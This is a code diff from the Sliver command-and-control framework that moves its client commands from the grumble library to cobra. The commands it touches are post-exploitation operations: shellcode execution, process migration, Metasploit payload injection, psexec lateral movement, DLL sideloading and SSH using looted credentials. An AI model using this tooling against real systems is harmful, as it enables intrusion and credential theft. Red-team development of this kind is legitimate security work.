@@ -157,12 +160,11 @@ func executeInteractive(ctx *grumble.Context, hostProc string, shellcode []byte,
|
||||
tunnel := core.GetTunnels().Start(rpcTunnel.GetTunnelID(), rpcTunnel.GetSessionID())
|
||||
|
||||
shell, err := con.Rpc.Shell(context.Background(), &sliverpb.ShellReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Request: con.ActiveTarget.Request(cmd),
|
||||
Path: hostProc,
|
||||
EnablePTY: !noPty,
|
||||
TunnelID: tunnel.ID,
|
||||
})
|
||||
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
@@ -174,7 +176,7 @@ func executeInteractive(ctx *grumble.Context, hostProc string, shellcode []byte,
|
||||
msg := fmt.Sprintf("Sending shellcode to %s ...", session.GetName())
|
||||
con.SpinUntil(msg, ctrl)
|
||||
_, err = con.Rpc.Task(context.Background(), &sliverpb.TaskReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Request: con.ActiveTarget.Request(cmd),
|
||||
Pid: pid,
|
||||
Data: shellcode,
|
||||
RWXPages: rwxPages,
|
||||
|
||||
@@ -23,34 +23,38 @@ import (
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"google.golang.org/protobuf/proto"
|
||||
|
||||
"github.com/spf13/cobra"
|
||||
|
||||
"github.com/bishopfox/sliver/client/command/loot"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/desertbit/grumble"
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
|
||||
// ExecuteCmd - Run a command on the remote system
|
||||
func ExecuteCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
func ExecuteCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
}
|
||||
|
||||
cmdPath := ctx.Args.String("command")
|
||||
args := ctx.Args.StringList("arguments")
|
||||
token := ctx.Flags.Bool("token")
|
||||
output := ctx.Flags.Bool("output")
|
||||
stdout := ctx.Flags.String("stdout")
|
||||
stderr := ctx.Flags.String("stderr")
|
||||
saveLoot := ctx.Flags.Bool("loot")
|
||||
saveOutput := ctx.Flags.Bool("save")
|
||||
ppid := ctx.Flags.Uint("ppid")
|
||||
cmdPath := args[0]
|
||||
args = args[1:]
|
||||
|
||||
token, _ := cmd.Flags().GetBool("token")
|
||||
hidden, _ := cmd.Flags().GetBool("hidden")
|
||||
output, _ := cmd.Flags().GetBool("output")
|
||||
stdout, _ := cmd.Flags().GetString("stdout")
|
||||
stderr, _ := cmd.Flags().GetString("stderr")
|
||||
saveLoot, _ := cmd.Flags().GetBool("loot")
|
||||
saveOutput, _ := cmd.Flags().GetBool("save")
|
||||
ppid, _ := cmd.Flags().GetUint32("ppid")
|
||||
hostName := getHostname(session, beacon)
|
||||
|
||||
// If the user wants to loot or save the output, we have to capture it regardless of if they specified -o
|
||||
var captureOutput bool = output || saveLoot || saveOutput
|
||||
captureOutput := output || saveLoot || saveOutput
|
||||
|
||||
if output && beacon != nil {
|
||||
con.PrintWarnf("Using --output in beacon mode, if the command blocks the task will never complete\n\n")
|
||||
@@ -61,20 +65,25 @@ func ExecuteCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
|
||||
ctrl := make(chan bool)
|
||||
con.SpinUntil(fmt.Sprintf("Executing %s %s ...", cmdPath, strings.Join(args, " ")), ctrl)
|
||||
if token || ppid != 0 {
|
||||
if token || hidden || ppid != 0 {
|
||||
if session.OS != "windows" {
|
||||
con.PrintErrorf("The token, hide window, and ppid options are not valid on %s\n", session.OS)
|
||||
return
|
||||
}
|
||||
exec, err = con.Rpc.ExecuteWindows(context.Background(), &sliverpb.ExecuteWindowsReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Path: cmdPath,
|
||||
Args: args,
|
||||
Output: captureOutput,
|
||||
Stderr: stderr,
|
||||
Stdout: stdout,
|
||||
UseToken: token,
|
||||
PPid: uint32(ppid),
|
||||
Request: con.ActiveTarget.Request(cmd),
|
||||
Path: cmdPath,
|
||||
Args: args,
|
||||
Output: captureOutput,
|
||||
Stderr: stderr,
|
||||
Stdout: stdout,
|
||||
UseToken: token,
|
||||
HideWindow: hidden,
|
||||
PPid: ppid,
|
||||
})
|
||||
} else {
|
||||
exec, err = con.Rpc.Execute(context.Background(), &sliverpb.ExecuteReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Request: con.ActiveTarget.Request(cmd),
|
||||
Path: cmdPath,
|
||||
Args: args,
|
||||
Output: captureOutput,
|
||||
@@ -96,44 +105,44 @@ func ExecuteCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
con.PrintErrorf("Failed to decode response %s\n", err)
|
||||
return
|
||||
}
|
||||
HandleExecuteResponse(exec, cmdPath, hostName, ctx, con)
|
||||
HandleExecuteResponse(exec, cmdPath, hostName, cmd, con)
|
||||
})
|
||||
con.PrintAsyncResponse(exec.Response)
|
||||
} else {
|
||||
HandleExecuteResponse(exec, cmdPath, hostName, ctx, con)
|
||||
HandleExecuteResponse(exec, cmdPath, hostName, cmd, con)
|
||||
}
|
||||
}
|
||||
|
||||
func HandleExecuteResponse(exec *sliverpb.Execute, cmdPath string, hostName string, ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
func HandleExecuteResponse(exec *sliverpb.Execute, cmdPath string, hostName string, cmd *cobra.Command, con *console.SliverConsoleClient) {
|
||||
var lootedOutput []byte
|
||||
stdout := ctx.Flags.String("stdout")
|
||||
saveLoot := ctx.Flags.Bool("loot")
|
||||
saveOutput := ctx.Flags.Bool("save")
|
||||
lootName := ctx.Flags.String("name")
|
||||
ignoreStderr := ctx.Flags.Bool("ignore-stderr")
|
||||
stdout, _ := cmd.Flags().GetString("stdout")
|
||||
saveLoot, _ := cmd.Flags().GetBool("loot")
|
||||
saveOutput, _ := cmd.Flags().GetBool("save")
|
||||
lootName, _ := cmd.Flags().GetString("name")
|
||||
ignoreStderr, _ := cmd.Flags().GetBool("ignore-stderr")
|
||||
|
||||
if saveLoot || saveOutput {
|
||||
lootedOutput = combineCommandOutput(exec, stdout == "", !ignoreStderr && 0 < len(exec.Stderr))
|
||||
}
|
||||
|
||||
if saveLoot {
|
||||
LootExecute(lootedOutput, lootName, ctx.Command.Name, cmdPath, hostName, con)
|
||||
LootExecute(lootedOutput, lootName, cmd.Name(), cmdPath, hostName, con)
|
||||
}
|
||||
|
||||
if saveOutput {
|
||||
SaveExecutionOutput(string(lootedOutput), ctx.Command.Name, hostName, con)
|
||||
SaveExecutionOutput(string(lootedOutput), cmd.Name(), hostName, con)
|
||||
}
|
||||
|
||||
PrintExecute(exec, ctx, con)
|
||||
PrintExecute(exec, cmd, con)
|
||||
}
|
||||
|
||||
// PrintExecute - Print the output of an executed command
|
||||
func PrintExecute(exec *sliverpb.Execute, ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
ignoreStderr := ctx.Flags.Bool("ignore-stderr")
|
||||
stdout := ctx.Flags.String("stdout")
|
||||
stderr := ctx.Flags.String("stderr")
|
||||
func PrintExecute(exec *sliverpb.Execute, cmd *cobra.Command, con *console.SliverConsoleClient) {
|
||||
ignoreStderr, _ := cmd.Flags().GetBool("ignore-stderr")
|
||||
stdout, _ := cmd.Flags().GetString("stdout")
|
||||
stderr, _ := cmd.Flags().GetString("stderr")
|
||||
|
||||
output := ctx.Flags.Bool("output")
|
||||
output, _ := cmd.Flags().GetBool("output")
|
||||
if !output {
|
||||
if exec.Status == 0 {
|
||||
con.PrintInfof("Command executed successfully\n")
|
||||
|
||||
@@ -23,21 +23,22 @@ import (
|
||||
"fmt"
|
||||
"strings"
|
||||
|
||||
"github.com/spf13/cobra"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// MigrateCmd - Windows only, inject an implant into another process
|
||||
func MigrateCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
func MigrateCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
|
||||
session := con.ActiveTarget.GetSession()
|
||||
if session == nil {
|
||||
return
|
||||
}
|
||||
|
||||
pid := ctx.Flags.Uint("pid")
|
||||
procName := ctx.Flags.String("process-name")
|
||||
pid, _ := cmd.Flags().GetUint32("pid")
|
||||
procName, _ := cmd.Flags().GetString("process-name")
|
||||
if pid == 0 && procName == "" {
|
||||
con.PrintErrorf("Error: Must specify either a PID or process name\n")
|
||||
return
|
||||
@@ -46,7 +47,7 @@ func MigrateCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
procCtrl := make(chan bool)
|
||||
con.SpinUntil(fmt.Sprintf("Searching for %s ...", procName), procCtrl)
|
||||
proc, err := con.Rpc.Ps(context.Background(), &sliverpb.PsReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Request: con.ActiveTarget.Request(cmd),
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("Error: %v\n", err)
|
||||
@@ -55,8 +56,8 @@ func MigrateCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
procCtrl <- true
|
||||
<-procCtrl
|
||||
for _, p := range proc.GetProcesses() {
|
||||
if strings.ToLower(p.Executable) == strings.ToLower(procName) {
|
||||
pid = uint(p.Pid)
|
||||
if strings.EqualFold(p.Executable, procName) {
|
||||
pid = uint32(p.Pid)
|
||||
break
|
||||
}
|
||||
}
|
||||
@@ -68,7 +69,7 @@ func MigrateCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
}
|
||||
config := con.GetActiveSessionConfig()
|
||||
encoder := clientpb.ShellcodeEncoder_SHIKATA_GA_NAI
|
||||
if ctx.Flags.Bool("disable-sgn") {
|
||||
if disableSgn, _ := cmd.Flags().GetBool("disable-sgn"); disableSgn {
|
||||
encoder = clientpb.ShellcodeEncoder_NONE
|
||||
}
|
||||
|
||||
@@ -76,9 +77,9 @@ func MigrateCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
con.SpinUntil(fmt.Sprintf("Migrating into %d ...", pid), ctrl)
|
||||
|
||||
migrate, err := con.Rpc.Migrate(context.Background(), &clientpb.MigrateReq{
|
||||
Pid: uint32(pid),
|
||||
Pid: pid,
|
||||
Config: config,
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Request: con.ActiveTarget.Request(cmd),
|
||||
Encoder: encoder,
|
||||
})
|
||||
ctrl <- true
|
||||
|
||||
@@ -22,28 +22,29 @@ import (
|
||||
"context"
|
||||
"fmt"
|
||||
|
||||
"google.golang.org/protobuf/proto"
|
||||
|
||||
"github.com/spf13/cobra"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
consts "github.com/bishopfox/sliver/client/constants"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"google.golang.org/protobuf/proto"
|
||||
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// MsfInjectCmd - Inject a metasploit payload into a remote process
|
||||
func MsfInjectCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
func MsfInjectCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
}
|
||||
|
||||
payloadName := ctx.Flags.String("payload")
|
||||
lhost := ctx.Flags.String("lhost")
|
||||
lport := ctx.Flags.Int("lport")
|
||||
encoder := ctx.Flags.String("encoder")
|
||||
iterations := ctx.Flags.Int("iterations")
|
||||
pid := ctx.Flags.Int("pid")
|
||||
payloadName, _ := cmd.Flags().GetString("payload")
|
||||
lhost, _ := cmd.Flags().GetString("lhost")
|
||||
lport, _ := cmd.Flags().GetInt("lport")
|
||||
encoder, _ := cmd.Flags().GetString("encoder")
|
||||
iterations, _ := cmd.Flags().GetInt("iterations")
|
||||
pid, _ := cmd.Flags().GetInt("pid")
|
||||
|
||||
if lhost == "" {
|
||||
con.PrintErrorf("Invalid lhost '%s', see `help %s`\n", lhost, consts.MsfInjectStr)
|
||||
@@ -68,7 +69,7 @@ func MsfInjectCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
payloadName, goos, goarch, lhost, lport)
|
||||
con.SpinUntil(msg, ctrl)
|
||||
msfTask, err := con.Rpc.MsfRemote(context.Background(), &clientpb.MSFRemoteReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Request: con.ActiveTarget.Request(cmd),
|
||||
Payload: payloadName,
|
||||
LHost: lhost,
|
||||
LPort: uint32(lport),
|
||||
|
||||
+11
-10
@@ -22,26 +22,27 @@ import (
|
||||
"context"
|
||||
"fmt"
|
||||
|
||||
"google.golang.org/protobuf/proto"
|
||||
|
||||
"github.com/spf13/cobra"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
consts "github.com/bishopfox/sliver/client/constants"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"google.golang.org/protobuf/proto"
|
||||
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// MsfCmd - Inject a metasploit payload into the current remote process
|
||||
func MsfCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
func MsfCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
}
|
||||
|
||||
payloadName := ctx.Flags.String("payload")
|
||||
lhost := ctx.Flags.String("lhost")
|
||||
lport := ctx.Flags.Int("lport")
|
||||
encoder := ctx.Flags.String("encoder")
|
||||
iterations := ctx.Flags.Int("iterations")
|
||||
payloadName, _ := cmd.Flags().GetString("payload")
|
||||
lhost, _ := cmd.Flags().GetString("lhost")
|
||||
lport, _ := cmd.Flags().GetInt("lport")
|
||||
encoder, _ := cmd.Flags().GetString("encoder")
|
||||
iterations, _ := cmd.Flags().GetInt("iterations")
|
||||
|
||||
if lhost == "" {
|
||||
con.PrintErrorf("Invalid lhost '%s', see `help %s`\n", lhost, consts.MsfStr)
|
||||
@@ -62,7 +63,7 @@ func MsfCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
payloadName, goos, goarch, lhost, lport)
|
||||
con.SpinUntil(msg, ctrl)
|
||||
msfTask, err := con.Rpc.Msf(context.Background(), &clientpb.MSFReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Request: con.ActiveTarget.Request(cmd),
|
||||
Payload: payloadName,
|
||||
LHost: lhost,
|
||||
LPort: uint32(lport),
|
||||
|
||||
@@ -27,6 +27,8 @@ import (
|
||||
|
||||
insecureRand "math/rand"
|
||||
|
||||
"github.com/spf13/cobra"
|
||||
|
||||
"github.com/bishopfox/sliver/client/command/generate"
|
||||
"github.com/bishopfox/sliver/client/command/settings"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
@@ -34,28 +36,27 @@ import (
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/bishopfox/sliver/util/encoders"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// PsExecCmd - psexec command implementation.
|
||||
func PsExecCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
func PsExecCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
|
||||
session := con.ActiveTarget.GetSessionInteractive()
|
||||
if session == nil {
|
||||
return
|
||||
}
|
||||
|
||||
hostname := ctx.Args.String("hostname")
|
||||
hostname := args[0]
|
||||
if hostname == "" {
|
||||
con.PrintErrorf("You need to provide a target host, see `help psexec` for examples")
|
||||
return
|
||||
}
|
||||
var serviceBinary []byte
|
||||
profile := ctx.Flags.String("profile")
|
||||
serviceName := ctx.Flags.String("service-name")
|
||||
serviceDesc := ctx.Flags.String("service-description")
|
||||
binPath := ctx.Flags.String("binpath")
|
||||
customExe := ctx.Flags.String("custom-exe")
|
||||
uploadPath := fmt.Sprintf(`\\%s\%s`, hostname, strings.ReplaceAll(strings.ToLower(ctx.Flags.String("binpath")), "c:", "C$"))
|
||||
profile, _ := cmd.Flags().GetString("profile")
|
||||
serviceName, _ := cmd.Flags().GetString("service-name")
|
||||
serviceDesc, _ := cmd.Flags().GetString("service-description")
|
||||
binPath, _ := cmd.Flags().GetString("binpath")
|
||||
customExe, _ := cmd.Flags().GetString("custom-exe")
|
||||
uploadPath := fmt.Sprintf(`\\%s\%s`, hostname, strings.ReplaceAll(strings.ToLower(binPath), "c:", "C$"))
|
||||
|
||||
if serviceName == "Sliver" || serviceDesc == "Sliver implant" {
|
||||
con.PrintWarnf("You're going to deploy the following service:\n- Name: %s\n- Description: %s\n", serviceName, serviceDesc)
|
||||
@@ -112,7 +113,7 @@ func PsExecCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
Encoder: "gzip",
|
||||
Data: uploadGzip,
|
||||
Path: filePath,
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Request: con.ActiveTarget.Request(cmd),
|
||||
})
|
||||
uploadCtrl <- true
|
||||
<-uploadCtrl
|
||||
@@ -135,7 +136,7 @@ func PsExecCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
start, err := con.Rpc.StartService(context.Background(), &sliverpb.StartServiceReq{
|
||||
BinPath: binaryPath,
|
||||
Hostname: hostname,
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Request: con.ActiveTarget.Request(cmd),
|
||||
ServiceDescription: serviceDesc,
|
||||
ServiceName: serviceName,
|
||||
Arguments: "",
|
||||
@@ -158,7 +159,7 @@ func PsExecCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
Hostname: hostname,
|
||||
ServiceName: serviceName,
|
||||
},
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Request: con.ActiveTarget.Request(cmd),
|
||||
})
|
||||
removeChan <- true
|
||||
<-removeChan
|
||||
|
||||
@@ -25,46 +25,51 @@ import (
|
||||
"path/filepath"
|
||||
"strings"
|
||||
|
||||
"google.golang.org/protobuf/proto"
|
||||
|
||||
"github.com/spf13/cobra"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/desertbit/grumble"
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
|
||||
// SideloadCmd - Sideload a shared library on the remote system
|
||||
func SideloadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
func SideloadCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
}
|
||||
|
||||
binPath := ctx.Args.String("filepath")
|
||||
binPath := args[0]
|
||||
binArgs := strings.Join(args[1:], " ")
|
||||
|
||||
entryPoint := ctx.Flags.String("entry-point")
|
||||
processName := ctx.Flags.String("process")
|
||||
args := strings.Join(ctx.Args.StringList("args"), " ")
|
||||
entryPoint, _ := cmd.Flags().GetString("entry-point")
|
||||
processName, _ := cmd.Flags().GetString("process")
|
||||
keepAlive, _ := cmd.Flags().GetBool("keep-alive")
|
||||
isUnicode, _ := cmd.Flags().GetBool("unicode")
|
||||
pPid, _ := cmd.Flags().GetUint32("ppid")
|
||||
|
||||
binData, err := os.ReadFile(binPath)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s", err.Error())
|
||||
return
|
||||
}
|
||||
processArgsStr := ctx.Flags.String("process-arguments")
|
||||
processArgsStr, _ := cmd.Flags().GetString("process-arguments")
|
||||
processArgs := strings.Split(processArgsStr, " ")
|
||||
isDLL := (filepath.Ext(binPath) == ".dll")
|
||||
ctrl := make(chan bool)
|
||||
con.SpinUntil(fmt.Sprintf("Sideloading %s ...", binPath), ctrl)
|
||||
sideload, err := con.Rpc.Sideload(context.Background(), &sliverpb.SideloadReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Args: args,
|
||||
Request: con.ActiveTarget.Request(cmd),
|
||||
Args: binArgs,
|
||||
Data: binData,
|
||||
EntryPoint: entryPoint,
|
||||
ProcessName: processName,
|
||||
Kill: !ctx.Flags.Bool("keep-alive"),
|
||||
Kill: !keepAlive,
|
||||
IsDLL: isDLL,
|
||||
IsUnicode: ctx.Flags.Bool("unicode"),
|
||||
PPid: uint32(ctx.Flags.Uint("ppid")),
|
||||
IsUnicode: isUnicode,
|
||||
PPid: pPid,
|
||||
ProcessArgs: processArgs,
|
||||
})
|
||||
ctrl <- true
|
||||
@@ -83,26 +88,28 @@ func SideloadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
return
|
||||
}
|
||||
|
||||
HandleSideloadResponse(sideload, binPath, hostName, ctx, con)
|
||||
HandleSideloadResponse(sideload, binPath, hostName, cmd, con)
|
||||
})
|
||||
con.PrintAsyncResponse(sideload.Response)
|
||||
} else {
|
||||
HandleSideloadResponse(sideload, binPath, hostName, ctx, con)
|
||||
HandleSideloadResponse(sideload, binPath, hostName, cmd, con)
|
||||
}
|
||||
}
|
||||
|
||||
func HandleSideloadResponse(sideload *sliverpb.Sideload, binPath string, hostName string, ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
saveLoot := ctx.Flags.Bool("loot")
|
||||
lootName := ctx.Flags.String("name")
|
||||
func HandleSideloadResponse(sideload *sliverpb.Sideload, binPath string, hostName string, cmd *cobra.Command, con *console.SliverConsoleClient) {
|
||||
saveLoot, _ := cmd.Flags().GetBool("loot")
|
||||
lootName, _ := cmd.Flags().GetString("name")
|
||||
|
||||
if sideload.GetResponse().GetErr() != "" {
|
||||
con.PrintErrorf("%s\n", sideload.GetResponse().GetErr())
|
||||
return
|
||||
}
|
||||
|
||||
PrintExecutionOutput(sideload.GetResult(), ctx.Flags.Bool("save"), ctx.Command.Name, hostName, con)
|
||||
save, _ := cmd.Flags().GetBool("save")
|
||||
|
||||
PrintExecutionOutput(sideload.GetResult(), save, cmd.Name(), hostName, con)
|
||||
|
||||
if saveLoot {
|
||||
LootExecute([]byte(sideload.Result), lootName, ctx.Command.Name, binPath, hostName, con)
|
||||
LootExecute([]byte(sideload.Result), lootName, cmd.Name(), binPath, hostName, con)
|
||||
}
|
||||
}
|
||||
@@ -24,23 +24,27 @@ import (
|
||||
"os"
|
||||
"strings"
|
||||
|
||||
"google.golang.org/protobuf/proto"
|
||||
|
||||
"github.com/spf13/cobra"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/desertbit/grumble"
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
|
||||
// SpawnDllCmd - Spawn execution of a DLL on the remote system
|
||||
func SpawnDllCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
func SpawnDllCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
}
|
||||
dllArgs := strings.Join(ctx.Args.StringList("arguments"), " ")
|
||||
binPath := ctx.Args.String("filepath")
|
||||
processName := ctx.Flags.String("process")
|
||||
exportName := ctx.Flags.String("export")
|
||||
binPath := args[0]
|
||||
dllArgs := strings.Join(args[1:], " ")
|
||||
|
||||
processName, _ := cmd.Flags().GetString("process")
|
||||
exportName, _ := cmd.Flags().GetString("export")
|
||||
keepAlive, _ := cmd.Flags().GetBool("keep-alive")
|
||||
|
||||
binData, err := os.ReadFile(binPath)
|
||||
if err != nil {
|
||||
@@ -54,8 +58,8 @@ func SpawnDllCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
ProcessName: processName,
|
||||
Args: dllArgs,
|
||||
EntryPoint: exportName,
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Kill: !ctx.Flags.Bool("keep-alive"),
|
||||
Request: con.ActiveTarget.Request(cmd),
|
||||
Kill: !keepAlive,
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
@@ -73,26 +77,28 @@ func SpawnDllCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
return
|
||||
}
|
||||
|
||||
HandleSpawnDLLResponse(spawndll, binPath, hostName, ctx, con)
|
||||
HandleSpawnDLLResponse(spawndll, binPath, hostName, cmd, con)
|
||||
})
|
||||
con.PrintAsyncResponse(spawndll.Response)
|
||||
} else {
|
||||
HandleSpawnDLLResponse(spawndll, binPath, hostName, ctx, con)
|
||||
HandleSpawnDLLResponse(spawndll, binPath, hostName, cmd, con)
|
||||
}
|
||||
}
|
||||
|
||||
func HandleSpawnDLLResponse(spawndll *sliverpb.SpawnDll, binPath string, hostName string, ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
saveLoot := ctx.Flags.Bool("loot")
|
||||
lootName := ctx.Flags.String("name")
|
||||
func HandleSpawnDLLResponse(spawndll *sliverpb.SpawnDll, binPath string, hostName string, cmd *cobra.Command, con *console.SliverConsoleClient) {
|
||||
saveLoot, _ := cmd.Flags().GetBool("loot")
|
||||
lootName, _ := cmd.Flags().GetString("name")
|
||||
|
||||
if spawndll.GetResponse().GetErr() != "" {
|
||||
con.PrintErrorf("Failed to spawn dll: %s\n", spawndll.GetResponse().GetErr())
|
||||
return
|
||||
}
|
||||
|
||||
PrintExecutionOutput(spawndll.GetResult(), ctx.Flags.Bool("save"), ctx.Command.Name, hostName, con)
|
||||
save, _ := cmd.Flags().GetBool("save")
|
||||
|
||||
PrintExecutionOutput(spawndll.GetResult(), save, cmd.Name(), hostName, con)
|
||||
|
||||
if saveLoot {
|
||||
LootExecute([]byte(spawndll.GetResult()), lootName, ctx.Command.Name, binPath, hostName, con)
|
||||
LootExecute([]byte(spawndll.GetResult()), lootName, cmd.Name(), binPath, hostName, con)
|
||||
}
|
||||
}
|
||||
+18
-14
@@ -24,15 +24,16 @@ import (
|
||||
"strings"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/spf13/cobra"
|
||||
"google.golang.org/protobuf/proto"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/desertbit/grumble"
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
|
||||
// SSHCmd - A built-in SSH client command for the remote system (doesn't shell out)
|
||||
func SSHCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
func SSHCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
|
||||
var (
|
||||
privKey []byte
|
||||
err error
|
||||
@@ -42,13 +43,13 @@ func SSHCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
return
|
||||
}
|
||||
|
||||
username := ctx.Flags.String("login")
|
||||
username, _ := cmd.Flags().GetString("login")
|
||||
if username == "" {
|
||||
username = session.GetUsername()
|
||||
}
|
||||
|
||||
port := ctx.Flags.Uint("port")
|
||||
privateKeyPath := ctx.Flags.String("private-key")
|
||||
port, _ := cmd.Flags().GetUint("port")
|
||||
privateKeyPath, _ := cmd.Flags().GetString("private-key")
|
||||
if privateKeyPath != "" {
|
||||
privKey, err = os.ReadFile(privateKeyPath)
|
||||
if err != nil {
|
||||
@@ -56,13 +57,14 @@ func SSHCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
return
|
||||
}
|
||||
}
|
||||
password := ctx.Flags.String("password")
|
||||
password, _ := cmd.Flags().GetString("password")
|
||||
|
||||
hostname := ctx.Args.String("hostname")
|
||||
command := ctx.Args.StringList("command")
|
||||
kerberosRealm := ctx.Flags.String("kerberos-realm")
|
||||
kerberosConfig := ctx.Flags.String("kerberos-config")
|
||||
kerberosKeytabFile := ctx.Flags.String("kerberos-keytab")
|
||||
hostname := args[0]
|
||||
command := args[1:]
|
||||
|
||||
kerberosRealm, _ := cmd.Flags().GetString("kerberos-realm")
|
||||
kerberosConfig, _ := cmd.Flags().GetString("kerberos-config")
|
||||
kerberosKeytabFile, _ := cmd.Flags().GetString("kerberos-keytab")
|
||||
|
||||
if kerberosRealm != "" && kerberosKeytabFile == "" {
|
||||
con.PrintErrorf("You must specify a keytab file with the --kerberos-keytab flag\n")
|
||||
@@ -77,7 +79,9 @@ func SSHCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
}
|
||||
}
|
||||
|
||||
if password == "" && len(privKey) == 0 && !ctx.Flags.Bool("skip-loot") {
|
||||
skipLoot, _ := cmd.Flags().GetBool("skip-loot")
|
||||
|
||||
if password == "" && len(privKey) == 0 && !skipLoot {
|
||||
oldUsername := username
|
||||
username, password, privKey = tryCredsFromLoot(con)
|
||||
if username == "" {
|
||||
@@ -95,7 +99,7 @@ func SSHCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
Realm: kerberosRealm,
|
||||
Krb5Conf: kerberosConfig,
|
||||
Keytab: kerberosKeytab,
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
